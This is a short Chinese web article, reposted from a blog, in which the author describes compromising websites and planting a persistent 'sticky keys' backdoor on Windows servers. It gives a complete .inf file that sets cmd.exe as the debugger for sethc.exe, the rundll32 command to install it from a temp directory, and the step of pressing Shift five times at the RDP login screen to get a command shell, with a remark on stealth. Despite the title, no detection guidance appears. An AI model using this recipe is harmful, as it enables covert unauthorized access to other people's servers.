首页 > 网络安全

添加SHIFT后门又一法学习如何查找后门

番茄系统家园 · 2021-10-23 08:22:15

前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！

将下面的代码保存成inf文件

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe

然后上传到一个可以执行目录，比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf

然后远程登录3389，按5下shift即可跳出cmd.exe

为什么要命令行？隐蔽性？大家自行掂量

转载：秒杀博客

免责声明：凡标注转载/编译字样内容并非本站原创，转载目的在于传递更多信息，并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好，欢迎推荐给朋友阅读；本文链接： https://m.nndssk.com/wlaq/198074pqYbIG.html。